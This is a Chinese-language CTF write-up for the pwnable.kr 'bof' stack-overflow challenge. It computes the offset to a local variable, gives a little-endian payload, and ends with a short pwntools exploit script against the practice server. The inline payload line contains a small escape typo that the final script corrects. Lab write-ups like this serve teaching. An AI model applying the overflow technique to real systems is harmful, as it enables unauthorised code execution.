bof

题目来自pwnable.kr

题目给了源码和可执行文件

查看源码可以知道 这是一个栈溢出

只要key=0xcafebabe  就会调用system函数,但是它传的参数是0xdeadbeef key的值不对 所以我们只要将key的值覆盖成0xcafebabe就可以了 

要计算出读取的字符串和key的距离

先检查一下防护机制


bof_第1张图片

开启了堆栈不可执行和aslr和canary

ida反编译一下


bof_第2张图片

可以的到s的寻址和key的寻址都是基于ebp

输入字符串的起始位置与key的距离 为2C+8

我们的padding长度为2C+8 

又因为0xcafebabe 在程序中是以小段模式存储 所以我们覆盖的也要是小段模式的

payload = 'a'*offset + '\xbe\xba\xfe\ca'

exp脚本

from pwn import * p = remote('pwnable.kr',9000)

offset = 0x2c+8

payload = 'a'*offset +"\xbe\xba\xfe\xca"

p.sendline(payload)

p.interactive()

你可能感兴趣的:(bof)